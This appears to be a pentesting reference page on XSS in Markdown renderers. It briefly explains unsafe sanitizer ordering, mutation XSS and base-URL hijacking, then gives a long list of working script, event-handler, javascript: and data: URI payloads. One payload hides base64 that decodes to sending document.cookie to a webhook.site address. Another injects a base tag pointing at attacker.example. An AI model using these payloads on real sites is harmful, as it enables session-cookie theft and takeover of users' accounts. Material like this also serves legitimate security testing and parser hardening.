XSS in Markdown
If attacker-controlled Markdown is rendered as HTML, test whether the parser and sanitizer combination allows XSS. Behavior varies by implementation and configuration; CommonMark permits raw HTML unless the application disables or sanitizes it.[2]
HTML tags
The most direct case is raw HTML accepted by the Markdown parser and passed to the browser without appropriate sanitization.[2][3]
<!-- XSS with regular tags -->
<script>
alert(1)
</script>
<img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xss-cross-site-scripting/x" onerror="alert(1)" />You can find more examples in the main XSS page of hacktricks.
Javascript links
If raw HTML is blocked, test how the renderer validates link destinations and dangerous URL schemes:[3]
<!-- markdow link to XSS, this usually always work but it requires interaction -->
[a](javascript:prompt(document.cookie))
<!-- Other links attacks with some bypasses -->
[Basic](javascript:alert('Basic')) [Local
Storage](javascript:alert(JSON.stringify(localStorage)))
[CaseInsensitive](JaVaScRiPt:alert('CaseInsensitive'))
[URL](javascript://www.google.com%0Aalert('URL')) [In
Quotes]('javascript:alert("InQuotes")') [a](j a v a s c r i p
t:prompt(document.cookie))
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:window.onerror=alert;throw%201)Img event syntax abuse
![Uh oh...](<https://www.example.com/image.png"onload="alert('XSS')>)
![Escape SRC - onload](<https://www.example.com/image.png"onload="alert('ImageOnLoad')>)
HTML Sanitiser Markdown Bypass
The following code sanitises the attacker-controlled Markdown source before parsing it. This order is unsafe: the Markdown parser runs after the security boundary and can create executable HTML that DOMPurify never inspected.[1]
<!--from https://infosecwriteups.com/clique-writeup-%C3%A5ngstromctf-2022-e7ae871eaa0e -->
<script src="https://cdn.jsdelivr.net/npm/dompurify@2.3.6/dist/purify.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/marked@4.0.14/lib/marked.umd.min.js"></script>
<script>
const qs = new URLSearchParams(location.search)
if (qs.get("content")?.length > 0) {
document.body.innerHTML = marked.parse(
DOMPurify.sanitize(qs.get("content"))
)
}
</script>Payload examples:[1]
<div
id="1
//index.html)">
-----------------------------------------------
<a
title="a
<img src=x onerror=alert(1)>"
>yep</a
>
------------------------------------------------ [x](y '<style>
')<!--
</style>
<div id="x--><img src=1 onerror=alert(1)>"></div>
---------------------------------------------- [
<p
x="<style onload=eval(atob(/bG9jYXRpb249YGh0dHBzOi8vd2ViaG9vay5zaXRlL2FiM2IyYjg5LTg1YTktNGU0YS1hNjg0LTUxN2M1ZjQwNmZmMj9mPWArZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LmNvb2tpZSk/.source))>](#"></p>
) ---------------------------------------------- `
<p x="`<img src=x onerror=alert(1)>"></p>
</div>Test the final DOM: mutation XSS
Treat Markdown rendering as a chain of interpreters: Markdown/extensions → HTML → sanitizer → serialization → browser sink. Capture every intermediate representation and inspect the live DOM after insertion. A sanitizer can approve one tree, while browser error recovery creates a different tree after serialization and reparsing (mXSS). High-value probes mix malformed markup with HTML/SVG/MathML namespace transitions, raw-text elements, and very deep nesting; checking the sanitized string for onerror is not enough.[4]
<svg></p><style><a id="</style><img src=x onerror=alert(1)>"></svg>
<math><mtext><table><mglyph><style><img src=x onerror=alert(1)>Use these as pipeline regression shapes, not universal payloads: the result depends on the Markdown engine, enabled extensions, sanitizer version/configuration, DOM implementation, and final sink. In a real browser, compare renderer(markdown), sanitizer(renderedHTML), and sink.innerHTML; then enumerate element namespaces, event-handler attributes, and resolved href/src properties in the final DOM.[4]
Base-URL rewriting
A filter can reject event handlers and dangerous URL schemes yet still allow document-wide metadata. If raw HTML survives, test whether an injected <base> changes how later relative resources are resolved. A 2025 Nuxt MDC issue demonstrated this parser-policy gap: validation covered ordinary href/src properties but failed to reject the base element, allowing a relative script URL to be redirected to an attacker origin.[5]
<base href="https://attacker.example/">
<script src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src//xss.js"></script>The chain requires a subsequent relative resource that the renderer allows and CSP does not block. Also watch browser traffic after rendering: lazy-loaded scripts, styles, and images may resolve only after the Markdown has already altered the document base URL.[5]
Gopher
Some server-side Markdown renderers fetch linked resources. If a renderer supports gopher://, this can become an SSRF primitive capable of sending crafted bytes to internal services; browser-only Markdown rendering does not provide this behavior.
Fuzzing
<!--
Fuzzing examples from
- [https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt](https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt)
- [https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields](https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields)
-->
[a](javascript:prompt(document.cookie))
[a](j a v a s c r i p t:prompt(document.cookie))
)\
<javascript:prompt(document.cookie)>
<javascript:alert('XSS')>
\
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:alert('XSS'))
\
[citelol]: (javascript:prompt(document.cookie))
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[test](javascript://%0d%0aprompt(1))
[test](javascript://%0d%0aprompt(1);com)
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[notmalicious](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie)
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[clickme](vbscript:alert(document.domain))
_http://danlec_@.1 style=background-image:url(data:image/png;base64,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);background-repeat:no-repeat;display:block;width:100%;height:100px; onclick=alert(unescape(/Oh%20No!/.source));return(false);//
<http://\<meta\ http-equiv=\"refresh\"\ content=\"0;\ url=http://danlec.com/\"\>>
[text](http://danlec.com " [@danlec](/danlec) ")
[a](javascript:this;alert(1))
[a](javascript:this;alert(1))
[a](javascript:this;alert(1))
[a](Javascript:alert(1))
[a](Javas%26%2399;ript:alert(1))
[a](javascript:alert(1))
[a](javascript:confirm(1)
[a](javascript://www.google.com%0Aprompt(1))
[a](javascript://%0d%0aconfirm(1);com)
[a](javascript:window.onerror=confirm;throw%201)
[a](javascript:alert(document.domain))
[a](javascript://www.google.com%0Aalert(1))
[a]('javascript:alert("1")')
[a](JaVaScRiPt:alert(1))
![a](https://www.google.com/image.png"onload="alert(1))
)
</http://<?php\><\h1\><script:script>confirm(2)
[XSS](.alert(1);)
[ ](https://a.de?p=[[/data-x=. style=background-color:#000000;z-index:999;width:100%;position:fixed;top:0;left:0;right:0;bottom:0; data-y=.]])
[ ](http://a?p=[[/onclick=alert(0) .]])
[a](javascript:new%20Function`al\ert\`1\``;)
[XSS](javascript:prompt(document.cookie))
[XSS](j a v a s c r i p t:prompt(document.cookie))
[XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[XSS](javascript:alert('XSS'))
[XSS]: (javascript:prompt(document.cookie))
[XSS](javascript:window.onerror=alert;throw%20document.cookie)
[XSS](javascript://%0d%0aprompt(1))
[XSS](javascript://%0d%0aprompt(1);com)
[XSS](javascript:window.onerror=alert;throw%20document.cookie)
[XSS](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie)
[XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[XSS](vbscript:alert(document.domain))
[XSS](javascript:this;alert(1))
[XSS](javascript:this;alert(1))
[XSS](javascript:this;alert(1))
[XSS](Javascript:alert(1))
[XSS](Javas%26%2399;ript:alert(1))
[XSS](javascript:alert(1))
[XSS](javascript:confirm(1)
[XSS](javascript://www.google.com%0Aprompt(1))
[XSS](javascript://%0d%0aconfirm(1);com)
[XSS](javascript:window.onerror=confirm;throw%201)
[XSS](�javascript:alert(document.domain))
)\
\
\